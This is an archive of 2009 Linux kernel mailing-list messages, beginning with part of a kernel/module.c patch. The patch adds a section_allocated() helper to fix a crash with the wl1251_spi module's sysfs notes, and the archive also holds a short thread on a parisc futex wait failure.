 		    && strcmp(secstrings+sechdrs[i].sh_name, name) == 0)
 			return i;
 	return 0;
@@ -1051,8 +1056,7 @@ static void add_sect_attrs(struct module *mod, unsigned int nsect,
 
 	/* Count loaded sections and allocate structures */
 	for (i = 0; i < nsect; i++)
-		if (sechdrs[i].sh_flags & SHF_ALLOC
-		    && sechdrs[i].sh_size)
+		if (section_allocated(sechdrs[i]))
 			nloaded++;
 	size[0] = ALIGN(sizeof(*sect_attrs)
 			+ nloaded * sizeof(sect_attrs->attrs[0]),
@@ -1070,9 +1074,7 @@ static void add_sect_attrs(struct module *mod, unsigned int nsect,
 	sattr = &sect_attrs->attrs[0];
 	gattr = &sect_attrs->grp.attrs[0];
 	for (i = 0; i < nsect; i++) {
-		if (! (sechdrs[i].sh_flags & SHF_ALLOC))
-			continue;
-		if (!sechdrs[i].sh_size)
+		if (!section_allocated(sechdrs[i]))
 			continue;
 		sattr->address = sechdrs[i].sh_addr;
 		sattr->name = kstrdup(secstrings + sechdrs[i].sh_name,
@@ -1156,7 +1158,7 @@ static void add_notes_attrs(struct module *mod, unsigned int nsect,
 	/* Count notes sections and allocate structures.  */
 	notes = 0;
 	for (i = 0; i < nsect; i++)
-		if ((sechdrs[i].sh_flags & SHF_ALLOC) &&
+		if (section_allocated(sechdrs[i]) &&
 		    (sechdrs[i].sh_type == SHT_NOTE))
 			++notes;
 
@@ -1172,7 +1174,7 @@ static void add_notes_attrs(struct module *mod, unsigned int nsect,
 	notes_attrs->notes = notes;
 	nattr = &notes_attrs->attrs[0];
 	for (loaded = i = 0; i < nsect; ++i) {
-		if (!(sechdrs[i].sh_flags & SHF_ALLOC))
+		if (!section_allocated(sechdrs[i]))
 			continue;
 		if (sechdrs[i].sh_type == SHT_NOTE) {
 			nattr->attr.name = mod->sect_attrs->attrs[loaded].name;
@@ -1720,7 +1722,7 @@ static char elf_type(const Elf_Sym *sym,
 		return '?';
 	if (sechdrs[sym->st_shndx].sh_flags & SHF_EXECINSTR)
 		return 't';
-	if (sechdrs[sym->st_shndx].sh_flags & SHF_ALLOC
+	if (section_allocated(sechdrs[sym->st_shndx])
 	    && sechdrs[sym->st_shndx].sh_type != SHT_NOBITS) {
 		if (!(sechdrs[sym->st_shndx].sh_flags & SHF_WRITE))
 			return 'r';
@@ -1751,7 +1753,7 @@ static bool is_core_symbol(const Elf_Sym *src, const Elf_Shdr *sechdrs,
 		return false;
 
 	sec = sechdrs + src->st_shndx;
-	if (!(sec->sh_flags & SHF_ALLOC)
+	if (!section_allocated(*sec)
 #ifndef CONFIG_KALLSYMS_ALL
 	    || !(sec->sh_flags & SHF_EXECINSTR)
 #endif
@@ -1913,7 +1915,7 @@ static void kmemleak_load_module(struct module *mod, Elf_Ehdr *hdr,
 	kmemleak_scan_area(mod, sizeof(struct module), GFP_KERNEL);
 
 	for (i = 1; i < hdr->e_shnum; i++) {
-		if (!(sechdrs[i].sh_flags & SHF_ALLOC))
+		if (!section_allocated(sechdrs[i]))
 			continue;
 		if (strncmp(secstrings + sechdrs[i].sh_name, ".data", 5) != 0
 		    && strncmp(secstrings + sechdrs[i].sh_name, ".bss", 4) != 0)
@@ -2139,7 +2141,7 @@ static noinline struct module *load_module(void __user *umod,
 	for (i = 0; i < hdr->e_shnum; i++) {
 		void *dest;
 
-		if (!(sechdrs[i].sh_flags & SHF_ALLOC))
+		if (!section_allocated(sechdrs[i]))
 			continue;
 
 		if (sechdrs[i].sh_entsize & INIT_OFFSET_MASK)
@@ -2287,7 +2289,7 @@ static noinline struct module *load_module(void __user *umod,
 			continue;
 
 		/* Don't bother with non-allocated sections */
-		if (!(sechdrs[info].sh_flags & SHF_ALLOC))
+		if (!section_allocated(sechdrs[info]))
 			continue;
 
 		if (sechdrs[i].sh_type == SHT_REL)



From - Thu Nov 08 21:05:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kalle Valo <kalle.valo@iki.fi>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.wireless.general,gmane.linux.ports.arm.omap
Subject: Re: regression: crash from 'ls /sys/modules/wl1251_spi/notes'
Date: Wed, 30 Dec 2009 19:20:26 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <87d41wwf8l.fsf@purkki.valot.fi>
References: <87k4w4wux9.fsf@purkki.valot.fi>
	<1262188157.2749.21.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1262193656 15277 80.91.229.12 (30 Dec 2009 17:20:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 30 Dec 2009 17:20:56 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-wireless@vger.kernel.org,
	linux-omap@vger.kernel.org, Helge Deller <deller@gmx.de>,
	rusty@rustcorp.com.au, akpm@linux-foundation.org,
	roland@redhat.com, dave@hiauly1.hia.nrc.ca,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 30 18:20:48 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NQ2E3-00035m-7W
	for glpp-linux-parisc@lo.gmane.org; Wed, 30 Dec 2009 18:20:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752679AbZL3RUc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 30 Dec 2009 12:20:32 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752537AbZL3RUc
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 30 Dec 2009 12:20:32 -0500
Original-Received: from mail-ew0-f219.google.com ([209.85.219.219]:40605 "EHLO
	mail-ew0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752350AbZL3RUa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 30 Dec 2009 12:20:30 -0500
Original-Received: by ewy19 with SMTP id 19so3880239ewy.21
        for <multiple recipients>; Wed, 30 Dec 2009 09:20:28 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:sender:to:cc:subject
         :references:from:date:in-reply-to:message-id:user-agent:mime-version
         :content-type;
        bh=9G1SDuHN3Put7Gm177JXy9bD2ER8poKENTfBwuwfYLw=;
        b=c4zMm2+PsYnczyMU2Ef/BfaLfeDPXNSX5k3jx2N0c+3fi+jdrfAl0KBeS0nny+wht7
         chex8ptPHasXI+VuvMyiP9q3mEiOxN+1OKWKVqQJsceh7ar4pkLhQqY0/efG1uCz+e+s
         HK9m+kCAaagprfY4znax6csKntuRYYMI5shr4=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=sender:to:cc:subject:references:from:date:in-reply-to:message-id
         :user-agent:mime-version:content-type;
        b=UOTykEtiUH+x+HnI9SBkp6EzDP6WIV6ow66W+rRpV+cJGzGzV9SpozfaK/hZOb1I9u
         Oy7b1DEDMBTnqnc0GSY6TJ49Lz2eDpzsxKMngBpavksGQ2KABreSXVQKhRxpXrtd1oGE
         9nyr4j9hSuR2nmUz9JQRYhVEk0/dxMXPlT6Zw=
Original-Received: by 10.213.110.132 with SMTP id n4mr12955843ebp.88.1262193628453;
        Wed, 30 Dec 2009 09:20:28 -0800 (PST)
Original-Received: from purkki.valot.fi (purkki.valot.fi [80.68.90.206])
        by mx.google.com with ESMTPS id 13sm9659543ewy.1.2009.12.30.09.20.27
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Wed, 30 Dec 2009 09:20:27 -0800 (PST)
In-Reply-To: <1262188157.2749.21.camel@mulgrave.site> (James Bottomley's message of "Wed\, 30 Dec 2009 09\:49\:17 -0600")
User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.2 (gnu/linux)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2529 gmane.linux.kernel:932991 gmane.linux.kernel.wireless.general:44981 gmane.linux.ports.arm.omap:28941
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2529>

James Bottomley <James.Bottomley@HansenPartnership.com> writes:

> On Wed, 2009-12-30 at 13:41 +0200, Kalle Valo wrote:
>
>> Also removing wl1251_spi causes a crash. The reason for this is that a
>> sysfs file with a null string as name is trying to be removed from the
>> notes directory.
>
> Yes, this is because the notes sections describe the text sections.
> When we ignore an empty text section, we'd need to ignore its
> corresponding notes section.
>
> The reason we didn't see this on parisc is because our compiler doesn't
> actually produce any notes sections.

Also on omap not all modules can reproduce the problem. For example
cfg80211, mac80211 and wl1251 modules work just fine, but with
wl1251_spi I see the problem everytime.

> A better, and more comprehensive patch would be to try not to count the
> empty text sections when we're building the notes section (and actually
> anywhere else in the file).  This patch actually relies on the fact that
> if sh_size is zero for the text section it should be for the
> corresponding notes section.  If that doesn't work, we'd actually have
> to do the matching in the construction piece.
>
> Can you try it to see if it works for you?  If it doesn't, I'll try
> matching notes to text.  It works fine on parisc, but as we don't have a
> notes section, that's not saying much ...

Thanks. I tested the patch on my setup, this time on top of Linus'
tree (commit 6b7b284). And the patch fixes the issue, I can't
reproduce the problem at all, both 'rmmod wl1251_spi' and ls work
without any problems. So here's my tested-by:

Tested-by: Kalle Valo <kalle.valo@iki.fi>

Also please consider sending the fix to stable.

Thank you for fixing this so fast.

-- 
Kalle Valo
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Thu, 31 Dec 2009 13:14:27 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <119aab440912311014j276d8c29mc8d8b59c7c5cafd1@mail.gmail.com>
References: <20091223221856.3E76F4E77@hiauly1.hia.nrc.ca>
	 <119aab440912231822m4b2a9c30ja5e17404210e7e50@mail.gmail.com>
	 <20091228185916.GA13912@hiauly1.hia.nrc.ca> <4B3A0889.7030701@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1262283292 1234 80.91.229.12 (31 Dec 2009 18:14:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Dec 2009 18:14:52 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 31 19:14:44 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NQPXa-0001BK-Jh
	for glpp-linux-parisc@lo.gmane.org; Thu, 31 Dec 2009 19:14:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752863AbZLaSOa convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Dec 2009 13:14:30 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752871AbZLaSOa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 31 Dec 2009 13:14:30 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:53060 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752863AbZLaSOa convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Dec 2009 13:14:30 -0500
Original-Received: by bwz27 with SMTP id 27so8062938bwz.21
        for <linux-parisc@vger.kernel.org>; Thu, 31 Dec 2009 10:14:27 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=eoUCuzvu9ca3YUziXy8LO4Cx7cx37kwZwbH0IgTxAX0=;
        b=lowwmKeqBQf9UldpXEA7Ku87ILiRNpPYWEbEzRBLuBB1TbIxDH5hh0TCU0hFiFqh5h
         ZXa1nHYpn4NRHNdp2qs2JuG1M3CHMRiEkyrZ41QOzQqeerzfDRhHPgsQAbc/HUZbd4AL
         Jyzu7wx8UbBqndp94m6N9ndLItL5d872DF98k=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=wbxwvFquMbW8gag3TAuCFhemq4sh0TGsQ51XuV+Fl/VCD9l34ocis3ztWqCDfGaCe2
         orwKZuPS0H5YOuz3wwC9Uz48WftxJbxMjKXCAXgPKG2gP/ISrklQkk7Yhe2VgT4+V0bF
         ggFq3iJMop7pB1p9RG24bewokLkJKjTKwHCBc=
Original-Received: by 10.204.48.210 with SMTP id s18mr41213bkf.162.1262283267863; Thu, 
	31 Dec 2009 10:14:27 -0800 (PST)
In-Reply-To: <4B3A0889.7030701@gmx.de>
X-Google-Sender-Auth: a52606e1dba5efb5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2530
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2530>

On Tue, Dec 29, 2009 at 8:47 AM, Helge Deller <deller@gmx.de> wrote:
>> 2) Change return space register to sr7. =A0sr3 is not set correctly
>> if the entry number is invalid.
>
> Yep.
>
>> Have nasty suspicion that sr3 is getting hit...

Is the thought here that we take an interrupt, and sr3 is not
guaranteed saved/restored, while sr7 is guaranteed?

I don't see anything wrong with moving the gate earlier (unless
someone can come up with a case where an LWS may not want to gate).

It has the benefit of making the fast path 1 instruction shorter,
however I don't see that it makes the implementation more correct.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Thu, 31 Dec 2009 20:11:18 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <4B3CF756.7050702@gmx.de>
References: <20091223221856.3E76F4E77@hiauly1.hia.nrc.ca>	 <119aab440912231822m4b2a9c30ja5e17404210e7e50@mail.gmail.com>	 <20091228185916.GA13912@hiauly1.hia.nrc.ca> <4B3A0889.7030701@gmx.de> <119aab440912311014j276d8c29mc8d8b59c7c5cafd1@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262286692 9632 80.91.229.12 (31 Dec 2009 19:11:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Dec 2009 19:11:32 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 31 20:11:24 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NQQQd-0003fl-K1
	for glpp-linux-parisc@lo.gmane.org; Thu, 31 Dec 2009 20:11:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753119AbZLaTLW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Dec 2009 14:11:22 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753121AbZLaTLW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 31 Dec 2009 14:11:22 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:51716 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753119AbZLaTLW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Dec 2009 14:11:22 -0500
Original-Received: (qmail invoked by alias); 31 Dec 2009 19:11:20 -0000
Original-Received: from p4FDB2BD6.dip0.t-ipconnect.de (EHLO halden.box) [79.219.43.214]
  by mail.gmx.net (mp040) with SMTP; 31 Dec 2009 20:11:20 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+7YCkmF6m7ZEtFcMEzWeeVTIP8mQaawLGeSgVEFt
	PG97ZaXjugCfjD
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091209 Fedora/3.0-3.fc11 Lightning/1.0pre Thunderbird/3.0
In-Reply-To: <119aab440912311014j276d8c29mc8d8b59c7c5cafd1@mail.gmail.com>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.62
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2531
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2531>

On 12/31/2009 07:14 PM, Carlos O'Donell wrote:
> On Tue, Dec 29, 2009 at 8:47 AM, Helge Deller<deller@gmx.de>  wrote:
>>> 2) Change return space register to sr7.  sr3 is not set correctly
>>> if the entry number is invalid.
>>
>> Yep.
>>
>>> Have nasty suspicion that sr3 is getting hit...
>
> Is the thought here that we take an interrupt, and sr3 is not
> guaranteed saved/restored, while sr7 is guaranteed?
>
> I don't see anything wrong with moving the gate earlier (unless
> someone can come up with a case where an LWS may not want to gate).
>
> It has the benefit of making the fast path 1 instruction shorter,
> however I don't see that it makes the implementation more correct.

I tested the patch and the testcase in
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=561203
still segfaults.

Nevertheless, I think Dave's patch should be applied...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Newsgroups: gmane.linux.kernel.wireless.general,gmane.linux.kernel,gmane.linux.ports.arm.omap,gmane.linux.ports.parisc
Subject: Re: regression: crash from 'ls /sys/modules/wl1251_spi/notes'
Date: Thu, 31 Dec 2009 22:15:08 +0100
Lines: 146
Approved: news@gmane.org
Message-ID: <4B3D145C.2080106@gmx.de>
References: <87k4w4wux9.fsf@purkki.valot.fi> <1262188157.2749.21.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1262294264 26216 80.91.229.12 (31 Dec 2009 21:17:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Dec 2009 21:17:44 +0000 (UTC)
Cc: Kalle Valo <kalle.valo-X3B1VOXEql0@public.gmane.org>, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-wireless-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-omap-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	rusty-8n+1lVoiYb80n/F98K4Iww@public.gmane.org, akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org,
	roland-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, dave-EkG3shUHCYFzGrcipJNh9bDks+cytr/Z@public.gmane.org,
	Parisc List <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
To: James Bottomley <James.Bottomley-d9PhHud1JfjCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>,
	ben-/+tVBieCtBitmTQ+vhA3Yw@public.gmane.org, tbm-R+vWnYXSFMfQT0dZR+AlfA@public.gmane.org
Original-X-From: linux-wireless-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Thu Dec 31 22:17:35 2009
Return-path: <linux-wireless-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkwg-linux-wireless-1dZseelyfdZg9hUCZPvPmw@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NQSMa-0007a5-Uo
	for glkwg-linux-wireless-1dZseelyfdZg9hUCZPvPmw@public.gmane.org; Thu, 31 Dec 2009 22:15:21 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1751876AbZLaVPR (ORCPT
	<rfc822;glkwg-linux-wireless@m.gmane.org>);
	Thu, 31 Dec 2009 16:15:17 -0500
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org id S1751864AbZLaVPQ
	(ORCPT <rfc822;linux-wireless-outgoing>);
	Thu, 31 Dec 2009 16:15:16 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:59962 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751786AbZLaVPP (ORCPT <rfc822;linux-wireless-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Thu, 31 Dec 2009 16:15:15 -0500
Original-Received: (qmail invoked by alias); 31 Dec 2009 21:15:13 -0000
Original-Received: from p4FDB2BD6.dip0.t-ipconnect.de (EHLO halden.box) [79.219.43.214]
  by mail.gmx.net (mp010) with SMTP; 31 Dec 2009 22:15:13 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+HN9YTdMyHJ3/VP24gGZoqRM0Aph0rpIK7EdpjBA
	Sx+9RGdSiBqDql
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091209 Fedora/3.0-3.fc11 Lightning/1.0pre Thunderbird/3.0
In-Reply-To: <1262188157.2749.21.camel-0iu6Cu4xQGLYCGPCin2YbQ@public.gmane.org>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.45
Original-Sender: linux-wireless-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-wireless.vger.kernel.org>
X-Mailing-List: linux-wireless-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.wireless.general:45001 gmane.linux.kernel:933317 gmane.linux.ports.arm.omap:28964 gmane.linux.ports.parisc:2532
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2532>

On 12/30/2009 04:49 PM, James Bottomley wrote:
> A better, and more comprehensive patch would be to try not to count the
> empty text sections when we're building the notes section (and actually
> anywhere else in the file).  This patch actually relies on the fact that
> if sh_size is zero for the text section it should be for the
> corresponding notes section.  If that doesn't work, we'd actually have
> to do the matching in the construction piece.
>
> Can you try it to see if it works for you?  If it doesn't, I'll try
> matching notes to text.  It works fine on parisc, but as we don't have a
> notes section, that's not saying much ...
>
> Thanks,
>
> James


Ben Hutchings already sent a similar patch.
See: http://patchwork.kernel.org/patch/68925/

IMHO James patch below seems better since it
checks if a section will be allocated at a few more
places...

Helge


> ---
>
> diff --git a/kernel/module.c b/kernel/module.c
> index e96b8ed..957f912 100644
> --- a/kernel/module.c
> +++ b/kernel/module.c
> @@ -132,6 +132,11 @@ void __module_put_and_exit(struct module *mod, long code)
>   }
>   EXPORT_SYMBOL(__module_put_and_exit);
>
> +static inline int section_allocated(Elf_Shdr hdr)
> +{
> +	return (hdr.sh_flags&  SHF_ALLOC)&&  hdr.sh_size != 0;
> +}
> +
>   /* Find a module section: 0 means not found. */
>   static unsigned int find_sec(Elf_Ehdr *hdr,
>   			     Elf_Shdr *sechdrs,
> @@ -142,7 +147,7 @@ static unsigned int find_sec(Elf_Ehdr *hdr,
>
>   	for (i = 1; i<  hdr->e_shnum; i++)
>   		/* Alloc bit cleared means "ignore it." */
> -		if ((sechdrs[i].sh_flags&  SHF_ALLOC)
> +		if (section_allocated(sechdrs[i])
>   		&&  strcmp(secstrings+sechdrs[i].sh_name, name) == 0)
>   			return i;
>   	return 0;
> @@ -1051,8 +1056,7 @@ static void add_sect_attrs(struct module *mod, unsigned int nsect,
>
>   	/* Count loaded sections and allocate structures */
>   	for (i = 0; i<  nsect; i++)
> -		if (sechdrs[i].sh_flags&  SHF_ALLOC
> -		&&  sechdrs[i].sh_size)
> +		if (section_allocated(sechdrs[i]))
>   			nloaded++;
>   	size[0] = ALIGN(sizeof(*sect_attrs)
>   			+ nloaded * sizeof(sect_attrs->attrs[0]),
> @@ -1070,9 +1074,7 @@ static void add_sect_attrs(struct module *mod, unsigned int nsect,
>   	sattr =&sect_attrs->attrs[0];
>   	gattr =&sect_attrs->grp.attrs[0];
>   	for (i = 0; i<  nsect; i++) {
> -		if (! (sechdrs[i].sh_flags&  SHF_ALLOC))
> -			continue;
> -		if (!sechdrs[i].sh_size)
> +		if (!section_allocated(sechdrs[i]))
>   			continue;
>   		sattr->address = sechdrs[i].sh_addr;
>   		sattr->name = kstrdup(secstrings + sechdrs[i].sh_name,
> @@ -1156,7 +1158,7 @@ static void add_notes_attrs(struct module *mod, unsigned int nsect,
>   	/* Count notes sections and allocate structures.  */
>   	notes = 0;
>   	for (i = 0; i<  nsect; i++)
> -		if ((sechdrs[i].sh_flags&  SHF_ALLOC)&&
> +		if (section_allocated(sechdrs[i])&&
>   		(sechdrs[i].sh_type == SHT_NOTE))
>   			++notes;
>
> @@ -1172,7 +1174,7 @@ static void add_notes_attrs(struct module *mod, unsigned int nsect,
>   	notes_attrs->notes = notes;
>   	nattr =&notes_attrs->attrs[0];
>   	for (loaded = i = 0; i<  nsect; ++i) {
> -		if (!(sechdrs[i].sh_flags&  SHF_ALLOC))
> +		if (!section_allocated(sechdrs[i]))
>   			continue;
>   		if (sechdrs[i].sh_type == SHT_NOTE) {
>   			nattr->attr.name = mod->sect_attrs->attrs[loaded].name;
> @@ -1720,7 +1722,7 @@ static char elf_type(const Elf_Sym *sym,
>   		return '?';
>   	if (sechdrs[sym->st_shndx].sh_flags&  SHF_EXECINSTR)
>   		return 't';
> -	if (sechdrs[sym->st_shndx].sh_flags&  SHF_ALLOC
> +	if (section_allocated(sechdrs[sym->st_shndx])
>   	&&  sechdrs[sym->st_shndx].sh_type != SHT_NOBITS) {
>   		if (!(sechdrs[sym->st_shndx].sh_flags&  SHF_WRITE))
>   			return 'r';
> @@ -1751,7 +1753,7 @@ static bool is_core_symbol(const Elf_Sym *src, const Elf_Shdr *sechdrs,
>   		return false;
>
>   	sec = sechdrs + src->st_shndx;
> -	if (!(sec->sh_flags&  SHF_ALLOC)
> +	if (!section_allocated(*sec)
>   #ifndef CONFIG_KALLSYMS_ALL
>   	    || !(sec->sh_flags&  SHF_EXECINSTR)
>   #endif
> @@ -1913,7 +1915,7 @@ static void kmemleak_load_module(struct module *mod, Elf_Ehdr *hdr,
>   	kmemleak_scan_area(mod, sizeof(struct module), GFP_KERNEL);
>
>   	for (i = 1; i<  hdr->e_shnum; i++) {
> -		if (!(sechdrs[i].sh_flags&  SHF_ALLOC))
> +		if (!section_allocated(sechdrs[i]))
>   			continue;
>   		if (strncmp(secstrings + sechdrs[i].sh_name, ".data", 5) != 0
>   		&&  strncmp(secstrings + sechdrs[i].sh_name, ".bss", 4) != 0)
> @@ -2139,7 +2141,7 @@ static noinline struct module *load_module(void __user *umod,
>   	for (i = 0; i<  hdr->e_shnum; i++) {
>   		void *dest;
>
> -		if (!(sechdrs[i].sh_flags&  SHF_ALLOC))
> +		if (!section_allocated(sechdrs[i]))
>   			continue;
>
>   		if (sechdrs[i].sh_entsize&  INIT_OFFSET_MASK)
> @@ -2287,7 +2289,7 @@ static noinline struct module *load_module(void __user *umod,
>   			continue;
>
>   		/* Don't bother with non-allocated sections */
> -		if (!(sechdrs[info].sh_flags&  SHF_ALLOC))
> +		if (!section_allocated(sechdrs[info]))
>   			continue;
